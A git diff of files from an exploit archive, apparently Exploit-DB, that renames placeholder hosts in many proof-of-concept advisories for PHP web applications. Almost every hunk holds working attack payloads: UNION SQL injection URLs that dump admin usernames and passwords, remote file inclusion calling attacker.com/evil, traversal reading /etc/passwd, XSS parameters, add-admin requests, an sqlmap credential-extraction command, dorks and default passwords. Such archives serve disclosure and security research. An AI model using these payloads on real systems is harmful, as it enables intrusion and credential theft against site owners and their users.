-http://server/index.php?pid=-1%20union%20select%201,concat(id,0x3a,user,0x3a,password,0x3a,access,0x3a,email),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2%20from%20admin--&user=det +http://www.target.com/index.php?pid=-1%20union%20select%201,concat(id,0x3a,user,0x3a,password,0x3a,access,0x3a,email),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2%20from%20admin--&user=det Dork: ~~~~ diff --git a/platforms/php/webapps/5543.txt b/platforms/php/webapps/5543.txt index a760eb49d..54f3959ae 100755 --- a/platforms/php/webapps/5543.txt +++ b/platforms/php/webapps/5543.txt @@ -45,7 +45,7 @@ Successful exploitation requires that "magic_quotes" is off Poc/Exploit: ~~~~~~~~~ -http://server/viewfaqs.php?cat=-1%20union%20select%20concat(id,0x3a,username,0x3a,password)%20from PHPAUCTIONXL_adminusers-- +http://www.target.com/viewfaqs.php?cat=-1%20union%20select%20concat(id,0x3a,username,0x3a,password)%20from PHPAUCTIONXL_adminusers-- Dork: ~~~~ diff --git a/platforms/php/webapps/5544.txt b/platforms/php/webapps/5544.txt index 29e36c302..3fc2f3006 100755 --- a/platforms/php/webapps/5544.txt +++ b/platforms/php/webapps/5544.txt @@ -45,7 +45,7 @@ Successful exploitation requires that "register_globals" is enabled. Poc/Exploit: ~~~~~~~~~ -http://server/kmitaadmin/kmitat/htmlcode.php?file=http://attacker.com/evil? +http://www.target.com/kmitaadmin/kmitat/htmlcode.php?file=http://attacker.com/evil? Note: sometimes need to login first.the default user & password are admin diff --git a/platforms/php/webapps/5545.txt b/platforms/php/webapps/5545.txt index a7a9aba93..70be0bf1a 100755 --- a/platforms/php/webapps/5545.txt +++ b/platforms/php/webapps/5545.txt @@ -43,7 +43,7 @@ Successful exploitation requires that "register_globals" is enabled. Poc/Exploit: ~~~~~~~~~ -http://server/kmitaadmin/kmitam/htmlcode.php?file=http://attacker.com/evil? +http://www.target.com/kmitaadmin/kmitam/htmlcode.php?file=http://attacker.com/evil? Note: sometimes need to login first.the default user & password are admin diff --git a/platforms/php/webapps/5546.txt b/platforms/php/webapps/5546.txt index 32fe11ab6..43a59781a 100755 --- a/platforms/php/webapps/5546.txt +++ b/platforms/php/webapps/5546.txt @@ -43,8 +43,8 @@ Successful exploitation requires that "magic_quotes" is enabled. Poc/Exploit: ~~~~~~~~~ -http://server/[backlinkspider_page_name].php?cat_id=[SQL] -http://server/[backlinkspider_page_name].php?cat_id=-1%20union%20select%201,2,3,4,5,6,7,8,9,0,1,version(),3,4,5,6,7,8,9,0/* +http://www.target.com/[backlinkspider_page_name].php?cat_id=[SQL] +http://www.target.com/[backlinkspider_page_name].php?cat_id=-1%20union%20select%201,2,3,4,5,6,7,8,9,0,1,version(),3,4,5,6,7,8,9,0/* Dork: diff --git a/platforms/php/webapps/5549.txt b/platforms/php/webapps/5549.txt index dd1cd2648..af44eeaa4 100755 --- a/platforms/php/webapps/5549.txt +++ b/platforms/php/webapps/5549.txt @@ -35,13 +35,13 @@ fclose ($fd); ?> ------- vuln: -http://server/editor.php?action=tempedit&m=[base64 password]&te=[local_file]&dir=[local_dir] +http://site.com/editor.php?action=tempedit&m=[base64 password]&te=[local_file]&dir=[local_dir] examp: editor.php?action=tempedit&m=Y2hhbmdlbWU=&te=/etc/passwd&dir=../../../../../../../../../.. ------------------------------------- and xss here :D : -http://server/editor.php?action=tempedit&m=[base64 password]&te=[xss]&dir=[xss] +http://site.com/editor.php?action=tempedit&m=[base64 password]&te=[xss]&dir=[xss] ----- note: default pass for login is:changeme diff --git a/platforms/php/webapps/5551.txt b/platforms/php/webapps/5551.txt index 98231e09f..9cd6a7c2c 100755 --- a/platforms/php/webapps/5551.txt +++ b/platforms/php/webapps/5551.txt @@ -23,7 +23,7 @@ this makes it easy for the attacker to gain access to the administarion panel. SQL Injection: -ADMIN: http://server/emall/search.php?search='/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,3,CONCAT(login,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16/**/FROM/**/admin/* +ADMIN: http://site.com/emall/search.php?search='/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,3,CONCAT(login,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16/**/FROM/**/admin/* diff --git a/platforms/php/webapps/5555.txt b/platforms/php/webapps/5555.txt index 87b891d55..2cf17126d 100755 --- a/platforms/php/webapps/5555.txt +++ b/platforms/php/webapps/5555.txt @@ -1,4 +1,4 @@ -w w w + w w w || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . diff --git a/platforms/php/webapps/5559.txt b/platforms/php/webapps/5559.txt index 51fa451e5..1c54e7de3 100755 --- a/platforms/php/webapps/5559.txt +++ b/platforms/php/webapps/5559.txt @@ -1,4 +1,4 @@ -####################################################################################### + ####################################################################################### # # # ...:::::ezContents CMS Version 2.0.0 SQL Injection Vulnerabilities ::::... # ####################################################################################### @@ -26,8 +26,8 @@ printer.php: $strQuery = "SELECT * FROM ".$GLOBALS["eztbContents"]." WHERE contentname ='".$HTTP_GET_VARS["article"]."' AND language='".$GLOBALS["gsLanguage"]."'"; --- exploits: -http://server/[patch]/showdetails.php?contentname='/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,concat(login,0x3a,userpassword,char(58,58),authoremail),30/**/from/**/authors/**/where/**/authorid=1/* -http://server/[patch]/printer.php?article='/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,concat(login,0x3a,userpassword,char(58,58),authoremail),30/**/from/**/authors/**/where/**/authorid=1/* +http://site.com/[patch]/showdetails.php?contentname='/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,concat(login,0x3a,userpassword,char(58,58),authoremail),30/**/from/**/authors/**/where/**/authorid=1/* +http://site.com/[patch]/printer.php?article='/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,concat(login,0x3a,userpassword,char(58,58),authoremail),30/**/from/**/authors/**/where/**/authorid=1/* --- young iranian h4ck3rz /* tnx 2: diff --git a/platforms/php/webapps/5560.txt b/platforms/php/webapps/5560.txt index 983c6561e..d403f0fba 100755 --- a/platforms/php/webapps/5560.txt +++ b/platforms/php/webapps/5560.txt @@ -23,7 +23,7 @@ [<>] ExPLO!t : ===> -http://server/version2.3.7/viewalbums.php?artistId=-1/**/union/**/select/**/1,concat_ws(0x3a3a,username,password),3,4,5,6,7,8,9,10/**/from/**/users/* +http://www.target.com/version2.3.7/viewalbums.php?artistId=-1/**/union/**/select/**/1,concat_ws(0x3a3a,username,password),3,4,5,6,7,8,9,10/**/from/**/users/* [<>] live DemO : diff --git a/platforms/php/webapps/5565.pl b/platforms/php/webapps/5565.pl index 1afa95230..1cb912330 100755 --- a/platforms/php/webapps/5565.pl +++ b/platforms/php/webapps/5565.pl @@ -36,7 +36,7 @@ print "[+] Admin Email: $email\n"; sub usage ( ) { print "Usage: ./vshare.pl [host]\n"; -print "Example: ./vshare.pl www.server\n"; +print "Example: ./vshare.pl www.site.com\n"; exit(0); } diff --git a/platforms/php/webapps/5578.txt b/platforms/php/webapps/5578.txt index ba554848f..eaf68825b 100755 --- a/platforms/php/webapps/5578.txt +++ b/platforms/php/webapps/5578.txt @@ -47,8 +47,8 @@ Vulnerable code #1 in admin/admin_frame.php [LFI]+[XSS]: POC #1: - http://server/path/admin/admin_frame.php?ltarget=[LOCAL FILE]%00 - http://server/path/admin/admin_frame.php?ltarget=[XSS] + http://www.target.com/path/admin/admin_frame.php?ltarget=[LOCAL FILE]%00 + http://www.target.com/path/admin/admin_frame.php?ltarget=[XSS] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -91,7 +91,7 @@ todo.admin.php POC #2: - http://server/path/admin/module/vulnerable_file.php?del=[SQLI] + http://www.target.com/path/admin/module/vulnerable_file.php?del=[SQLI] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -116,7 +116,7 @@ todo.admin.php POC #3: - http://server/path/admin/module/vulnerable_file.php?conf=[XSS] + http://www.target.com/path/admin/module/vulnerable_file.php?conf=[XSS] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/platforms/php/webapps/5582.txt b/platforms/php/webapps/5582.txt index 0672f7284..7882b33e8 100755 --- a/platforms/php/webapps/5582.txt +++ b/platforms/php/webapps/5582.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) -------------------------oOO---(_)---OOo------------------------- | Ktools Photostore <= v3.5.2 (crumbs.php) Remote SQL Injection | diff --git a/platforms/php/webapps/5588.php b/platforms/php/webapps/5588.php index 2b4d178e0..df4a84666 100755 --- a/platforms/php/webapps/5588.php +++ b/platforms/php/webapps/5588.php @@ -25,8 +25,8 @@ print_r(' # 3: events3.php # 4: fotos2.php # 5: videos2.php -# Example for "http://www.server/frontend/news.php?nr=2" -# => php '.$argv[0].' http://www.server/frontend/ 1 1 +# Example for "http://www.site.com/frontend/news.php?nr=2" +# => php '.$argv[0].' http://www.site.com/frontend/ 1 1 # ############################################################### '); diff --git a/platforms/php/webapps/5589.php b/platforms/php/webapps/5589.php index 27ecb4fd0..d9ace6360 100755 --- a/platforms/php/webapps/5589.php +++ b/platforms/php/webapps/5589.php @@ -14,8 +14,8 @@ print_r(' ############################################################### # # Usage: php '.$argv[0].' [Target] [Page ID] [User ID] -# Example for "http://www.server/cms/index.php?pageid=1" -# => php '.$argv[0].' http://www.server/cms/ 1 1 +# Example for "http://www.site.com/cms/index.php?pageid=1" +# => php '.$argv[0].' http://www.site.com/cms/ 1 1 # ############################################################### '); diff --git a/platforms/php/webapps/5590.txt b/platforms/php/webapps/5590.txt index 1dfcb528a..e3eaa2f91 100755 --- a/platforms/php/webapps/5590.txt +++ b/platforms/php/webapps/5590.txt @@ -26,7 +26,7 @@ the below injection will perform a SELECT query which will display admin credent SQL Injection: -http://server/featured_article.php?mode=detail&page=search&artid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,CONCAT(0x3C666F6E7420636F6C6F723D22726564223E,username,char(58),admin_password,0x3C2F666F6E743E),6,7,8,9,10,11,12/**/FROM/**/admin/* +http://site.com/featured_article.php?mode=detail&page=search&artid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,CONCAT(0x3C666F6E7420636F6C6F723D22726564223E,username,char(58),admin_password,0x3C2F666F6E743E),6,7,8,9,10,11,12/**/FROM/**/admin/* NOTE/TIP: diff --git a/platforms/php/webapps/5591.txt b/platforms/php/webapps/5591.txt index f3e3669b6..b88c55964 100755 --- a/platforms/php/webapps/5591.txt +++ b/platforms/php/webapps/5591.txt @@ -26,7 +26,7 @@ the below injection will display the admin credentials. SQL Injection's: -http://server/classifide_ad.php?item_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,CONCAT(user_name,char(58),password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54/**/FROM/**/admin/**/LIMIT/**/0,1/* +http://site.com/classifide_ad.php?item_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,CONCAT(user_name,char(58),password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54/**/FROM/**/admin/**/LIMIT/**/0,1/* diff --git a/platforms/php/webapps/5592.txt b/platforms/php/webapps/5592.txt index 03035682b..2c69cffe6 100755 --- a/platforms/php/webapps/5592.txt +++ b/platforms/php/webapps/5592.txt @@ -26,7 +26,7 @@ the below injection will perform a SELECT query which will display admin credent SQL Injection: -http://server/index.php?do=details_posting&cat_id=5&posting_id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,CONCAT(0x3C666F6E7420636F6C6F723D22726564223E,user_name,char(58),password,0x3C2F666F6E743E),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44/**/FROM/**/admin_users/**/LIMIT/**/0,1/* +http://site.com/index.php?do=details_posting&cat_id=5&posting_id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,CONCAT(0x3C666F6E7420636F6C6F723D22726564223E,user_name,char(58),password,0x3C2F666F6E743E),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44/**/FROM/**/admin_users/**/LIMIT/**/0,1/* diff --git a/platforms/php/webapps/5594.txt b/platforms/php/webapps/5594.txt index 9bb3e99ae..31f4850b5 100755 --- a/platforms/php/webapps/5594.txt +++ b/platforms/php/webapps/5594.txt @@ -26,7 +26,7 @@ the below injection will perform a SELECT query which will display admin credent SQL Injection: -http://server/category_list.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/CONCAT(user_name,char(58),password),2/**/FROM/**/admin/* +http://site.com/category_list.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/CONCAT(user_name,char(58),password),2/**/FROM/**/admin/* NOTE/TIP: diff --git a/platforms/php/webapps/5599.txt b/platforms/php/webapps/5599.txt index 1839212c1..d71a78d96 100755 --- a/platforms/php/webapps/5599.txt +++ b/platforms/php/webapps/5599.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/5602.txt b/platforms/php/webapps/5602.txt index 22214ab2f..a2052ccd1 100755 --- a/platforms/php/webapps/5602.txt +++ b/platforms/php/webapps/5602.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/5604.txt b/platforms/php/webapps/5604.txt index 205824119..6c7551feb 100755 --- a/platforms/php/webapps/5604.txt +++ b/platforms/php/webapps/5604.txt @@ -11,14 +11,14 @@ $rid = $_GET['rid']; //blog entry echo $sql -> db_Query("select ".MPREFIX."macgurublog_rec.*, blog_enable from ".MPREFIX."macgurublog_rec left join ".MPREFIX."macgurublog_main on (".MPREFIX."macgurublog_rec.blogrec_uid=".MPREFIX."macgurublog_main.blog_uid) where blogrec_id=".$rid.";"); [+] Exploit: -http://server/e107_plugins/macgurublog_menu/comment.php?rid=1 and 1=1-- // returns no errors -http://server/e107_plugins/macgurublog_menu/comment.php?rid=1 and 1=2-- // returns error about unknown entry -http://server/e107_plugins/macgurublog_menu/comment.php?rid=1 and substring(@@version,1,1)=4 // check the mysql version. if 4 returns error, try 5. +http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1 and 1=1-- // returns no errors +http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1 and 1=2-- // returns error about unknown entry +http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1 and substring(@@version,1,1)=4 // check the mysql version. if 4 returns error, try 5. Since e107 uses diffrent table names it's almost impossible to write exploit for it. So I am suggesting to use sqlmap to use this vulnerabilty. The command like should look like this: ./sqlmap.py -u "URL" -p rid -a "./txt/user-agents.txt" -v1 --string "string which proofs the query is valid" -e "sql query" Example: -./sqlmap.py -u "http://server/e107_plugins/macgurublog_menu/comment.php?rid=1" -p rid -a "./txt/user-agents.txt" -v1 --string "Saime" -e "<SELECT concat(username,0x3a,password) from e107_users where userid=1 limit 0,1>" +./sqlmap.py -u "http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1" -p rid -a "./txt/user-agents.txt" -v1 --string "Saime" -e "<SELECT concat(username,0x3a,password) from e107_users where userid=1 limit 0,1>" [+] Dork: inurl:/macgurublog_menu/ [+] Notes: Not to Turkish Warrior, good job on leaking CipherCrew exploits and submiting them as your own dumbass! ;) diff --git a/platforms/php/webapps/5609.txt b/platforms/php/webapps/5609.txt index c0c2f358d..16d666ab1 100755 --- a/platforms/php/webapps/5609.txt +++ b/platforms/php/webapps/5609.txt @@ -29,7 +29,7 @@ ## ExPlo!T : -=====>> http://server/path/pages/news.php?ida=-1/**/union/**/select/**/1,2,concat_ws(0x3a3a,id,member_name,member_password),4/**/from/**/members/* +=====>> http://target.com/path/pages/news.php?ida=-1/**/union/**/select/**/1,2,concat_ws(0x3a3a,id,member_name,member_password),4/**/from/**/members/* ## L!ve Dem0 : diff --git a/platforms/php/webapps/5613.txt b/platforms/php/webapps/5613.txt index a2f178b36..dfecd385a 100755 --- a/platforms/php/webapps/5613.txt +++ b/platforms/php/webapps/5613.txt @@ -25,7 +25,7 @@ the below MySQL Injection will display the admin login details. SQL Injection: -http://server/browseproject.php?mode=pdetails&pid=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/**/FROM/**/tbl_administrator/* +http://site.com/browseproject.php?mode=pdetails&pid=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/**/FROM/**/tbl_administrator/* diff --git a/platforms/php/webapps/5614.txt b/platforms/php/webapps/5614.txt index 3f30370f1..2c731677f 100755 --- a/platforms/php/webapps/5614.txt +++ b/platforms/php/webapps/5614.txt @@ -25,7 +25,7 @@ inject mysql code/querys into the script, the below injection will display admin SQL Injection: -http://server/detail.php?listingid=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(0x757365726E616D653A20,username,0x70617373776F72643A,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/FROM/**/auto_admin_settings_tb/**/LIMIT 0,1/* +http://site.com/detail.php?listingid=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(0x757365726E616D653A20,username,0x70617373776F72643A,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/FROM/**/auto_admin_settings_tb/**/LIMIT 0,1/* diff --git a/platforms/php/webapps/5620.txt b/platforms/php/webapps/5620.txt index 2bacd8ec7..788365acd 100755 --- a/platforms/php/webapps/5620.txt +++ b/platforms/php/webapps/5620.txt @@ -33,7 +33,7 @@ require_once “{$site_path}include/lib.inc.php”; /**/ Exploit: -http://server/include/bbs.lib.inc.php?site_path=evilthingg0ezhere +http://www.target.com/include/bbs.lib.inc.php?site_path=evilthingg0ezhere [<XSS>] diff --git a/platforms/php/webapps/5623.txt b/platforms/php/webapps/5623.txt index e57abca85..67ffc7c32 100755 --- a/platforms/php/webapps/5623.txt +++ b/platforms/php/webapps/5623.txt @@ -1,4 +1,4 @@ -####################################################################################### + ####################################################################################### # # # ...::::Kostenloses Linkmanagementscript SQL Injection Vulnerabilities ::::... # ####################################################################################### @@ -30,8 +30,8 @@ line 8:$id = $_GET['id']; line 9:$view_page_command_sql = "SELECT url, hits FROM ".$tab_links." WHERE id = '".$id."'"; --- exploits: -http://server/[patch]/view.php?id='/**/union/**/select/**/now(),load_file(0x2f6574632f706173737764)/**/from/**/mysql.user/* -http://server/[patch]/top_view.php?id='/**/union/**/select/**/now(),load_file(0x2f6574632f706173737764)/**/from/**/mysql.user/* +http://site.com/[patch]/view.php?id='/**/union/**/select/**/now(),load_file(0x2f6574632f706173737764)/**/from/**/mysql.user/* +http://site.com/[patch]/top_view.php?id='/**/union/**/select/**/now(),load_file(0x2f6574632f706173737764)/**/from/**/mysql.user/* --- young iranian h4ck3rz diff --git a/platforms/php/webapps/5626.txt b/platforms/php/webapps/5626.txt index 2605c3c32..b6fb52c77 100755 --- a/platforms/php/webapps/5626.txt +++ b/platforms/php/webapps/5626.txt @@ -25,7 +25,7 @@ #=====>> D0Rk : You can try ......... D: # #=====>> ExpLO!T : -# ======>>> http://server/class_ads/category.php?cat=s'+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a3a,id,Username,Password)+from+class_users/* +# ======>>> http://www.target.com/class_ads/category.php?cat=s'+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a3a,id,Username,Password)+from+class_users/* # # #====>> L!ve Dem0 : diff --git a/platforms/php/webapps/5627.pl b/platforms/php/webapps/5627.pl index d92c456a4..79dcb99c8 100755 --- a/platforms/php/webapps/5627.pl +++ b/platforms/php/webapps/5627.pl @@ -8,7 +8,7 @@ print "-+- Discovered && Coded By: t0pP8uZz - Discovered On: 15 MAY 2008 -+- print "-+- Script Download: http://sourceforge.net/projects/petgroom/ -+-\n"; print "-+- Pet Grooming Management System <= 2.0 Arbitrary Add-Admin Exploit -+-\n"; -print "\nEnter URL(http://server/pet/): "; +print "\nEnter URL(http://site.com/pet/): "; chomp(my $url=<STDIN>); print "\nEnter Username(create your admin username): "; diff --git a/platforms/php/webapps/5641.txt b/platforms/php/webapps/5641.txt index e1832cb80..d3b5a75cc 100755 --- a/platforms/php/webapps/5641.txt +++ b/platforms/php/webapps/5641.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -14,8 +14,8 @@ # Script site: http://webmanager-pro.com/ # # Vuln: - # http://server/index.php?lang_id=-1+UNION+SELECT+concat_ws(char(58),id,adminuser,adminpass,status)+from+wmp_admin+limit+0,1/* - # http://server/index.php?menu_id=-1+UNION+SELECT+concat_ws(char(58),id,adminuser,adminpass,status)+from+wmp_admin+limit+0,1/* + # http://site.com/index.php?lang_id=-1+UNION+SELECT+concat_ws(char(58),id,adminuser,adminpass,status)+from+wmp_admin+limit+0,1/* + # http://site.com/index.php?menu_id=-1+UNION+SELECT+concat_ws(char(58),id,adminuser,adminpass,status)+from+wmp_admin+limit+0,1/* # # Dork example: "CMS Webmanager-pro" # diff --git a/platforms/php/webapps/5642.txt b/platforms/php/webapps/5642.txt index 2b9f7bca9..77c4461d9 100755 --- a/platforms/php/webapps/5642.txt +++ b/platforms/php/webapps/5642.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -15,12 +15,12 @@ # # Vuln: # -contact.php: - # http://server/contact.php?cid=-1+UNION+SELECT+concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name))+from+t_user-- + # http://site.com/contact.php?cid=-1+UNION+SELECT+concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name))+from+t_user-- # or - # http://server/contact.php?cid=-1+UNION+SELECT+1,2,concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name))+from+t_user-- + # http://site.com/contact.php?cid=-1+UNION+SELECT+1,2,concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name))+from+t_user-- # # -news.php: - # http://server/news.php?nid=-1+UNION+SELECT+1,2,3,concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name)),5,6+from+t_user-- + # http://site.com/news.php?nid=-1+UNION+SELECT+1,2,3,concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name)),5,6+from+t_user-- # # table_name= t_user or l_user # diff --git a/platforms/php/webapps/5643.txt b/platforms/php/webapps/5643.txt index 5ba30e2a7..6b9b70b7c 100755 --- a/platforms/php/webapps/5643.txt +++ b/platforms/php/webapps/5643.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -16,7 +16,7 @@ # Script site: http://www.zapatec.com/ # # Vuln: - # http://server/?lang=../../../../../../../../../../../../../../etc/passwd%00 + # http://site.com/?lang=../../../../../../../../../../../../../../etc/passwd%00 # # ############################################### diff --git a/platforms/php/webapps/5645.txt b/platforms/php/webapps/5645.txt index 3da957c02..685d27440 100755 --- a/platforms/php/webapps/5645.txt +++ b/platforms/php/webapps/5645.txt @@ -29,7 +29,7 @@ [*] Vulnerability: - http://server/adduser.php?real_name=null&user_name=[user]&password=[pass]&level=10&email=null@null.com&website=null&misc=null + http://site.com/adduser.php?real_name=null&user_name=[user]&password=[pass]&level=10&email=null@null.com&website=null&misc=null diff --git a/platforms/php/webapps/5647.txt b/platforms/php/webapps/5647.txt index 947f56048..a3fe1d4bc 100755 --- a/platforms/php/webapps/5647.txt +++ b/platforms/php/webapps/5647.txt @@ -35,7 +35,7 @@ if($_GET['show']=="") { Vulnerability: -http://server/admin.php?show=../../../../../../../etc/passwd +http://site.com/admin.php?show=../../../../../../../etc/passwd diff --git a/platforms/php/webapps/5648.pl b/platforms/php/webapps/5648.pl index 75d9a95fc..b521fb4c0 100755 --- a/platforms/php/webapps/5648.pl +++ b/platforms/php/webapps/5648.pl @@ -13,7 +13,7 @@ print "[*] --- MeltingIce is a file hosting script, this exploit will add --- [ print "[*] --- a user via the admin panel, and give it a specified quota. --- [*]\n"; print "[*] --- [ MeltingIce File System <= 1.0 Remote Arbitrary Add-User ] --- [*]\n"; -print "\nEnter URL(http://server/): "; +print "\nEnter URL(http://site.com/): "; chomp(my $url=<STDIN>); print "\nUsername(create's your username): "; diff --git a/platforms/php/webapps/5649.pl b/platforms/php/webapps/5649.pl index 6b5b939f9..80b110ee4 100755 --- a/platforms/php/webapps/5649.pl +++ b/platforms/php/webapps/5649.pl @@ -13,7 +13,7 @@ print "-+-- ... there probarly affected too. Script Download: agtc.co.uk -- print "-+-- Greetz: h4ck-y0u.org, milw0rm.com, CipherCrew --+-\n"; print "-+--[ PHP AGTC-Membership System <= 1.1a Arbitrary Add-Admin Exploit ] --+-\n"; -print "\nEnter URL(http://server): "; +print "\nEnter URL(http://site.com): "; chomp(my $url=<STDIN>); print "\nAdmin Username(create's your admin username): "; diff --git a/platforms/php/webapps/5650.pl b/platforms/php/webapps/5650.pl index d8612fb88..47f395e82 100755 --- a/platforms/php/webapps/5650.pl +++ b/platforms/php/webapps/5650.pl @@ -8,7 +8,7 @@ print "-+-- Discovered && Coded By: t0pP8uZz --+-\n"; print "-+-- Discovered On: 16 MAY 2008 / h4ck-y0u, milw0rm --+-\n"; print "-+--[ MyPicGallery 1.0 Arbitrary Add-Admin Exploit ]--+-\n"; -print "\nEnter URL(http://server): "; +print "\nEnter URL(http://site.com): "; chomp(my $url=<STDIN>); print "\nEnter Username(create's a admin username): "; diff --git a/platforms/php/webapps/5654.txt b/platforms/php/webapps/5654.txt index 8095b47f8..178edc748 100755 --- a/platforms/php/webapps/5654.txt +++ b/platforms/php/webapps/5654.txt @@ -26,7 +26,7 @@ ## (()) -(:: SQL ::)- (()) -www.server/ +www.Site.com/ play.php?id=-96969+union+select+0x28284d722e53514c2929,concat(username,0x3a3a3a3a3a,password),3,4,email,6+from+users/* -------- diff --git a/platforms/php/webapps/5656.txt b/platforms/php/webapps/5656.txt index 740640200..f31d0c6d9 100755 --- a/platforms/php/webapps/5656.txt +++ b/platforms/php/webapps/5656.txt @@ -1,4 +1,4 @@ -####################################################################################### + ####################################################################################### # # # ...::::eCMS-v0.4.2 (SQL/PB) Multiple Remote Vulnerabilities ::::... # ####################################################################################### @@ -26,9 +26,9 @@ line 52:$p = $_GET['p'] line 55:$query = "SELECT * FROM files WHERE cat = '$p' ORDER BY date DESC"; --- exploit: -http://server/[patch]/index.php?p='/**/union/**/select/**/1,concat(username,0x3a,char(58),password),3,4,5,6/**/from/**/members/**/where/**/id=1/* +http://site.com/[patch]/index.php?p='/**/union/**/select/**/1,concat(username,0x3a,char(58),password),3,4,5,6/**/from/**/members/**/where/**/id=1/* or -http://server/[patch]/index.php?p='/**/union/**/select/**/1,concat(username,0x3a,char(58),password),3,4,5,6/**/from/**/members/* +http://site.com/[patch]/index.php?p='/**/union/**/select/**/1,concat(username,0x3a,char(58),password),3,4,5,6/**/from/**/members/* ##################### 2. Remote Permission Bypass Vulnerability(Insecure Cookie Handling ): -------vuln codes in:----------- diff --git a/platforms/php/webapps/5660.txt b/platforms/php/webapps/5660.txt index 7affbf0a9..fe178397d 100755 --- a/platforms/php/webapps/5660.txt +++ b/platforms/php/webapps/5660.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . diff --git a/platforms/php/webapps/5661.txt b/platforms/php/webapps/5661.txt index 3e9578044..a8a12e7d5 100755 --- a/platforms/php/webapps/5661.txt +++ b/platforms/php/webapps/5661.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 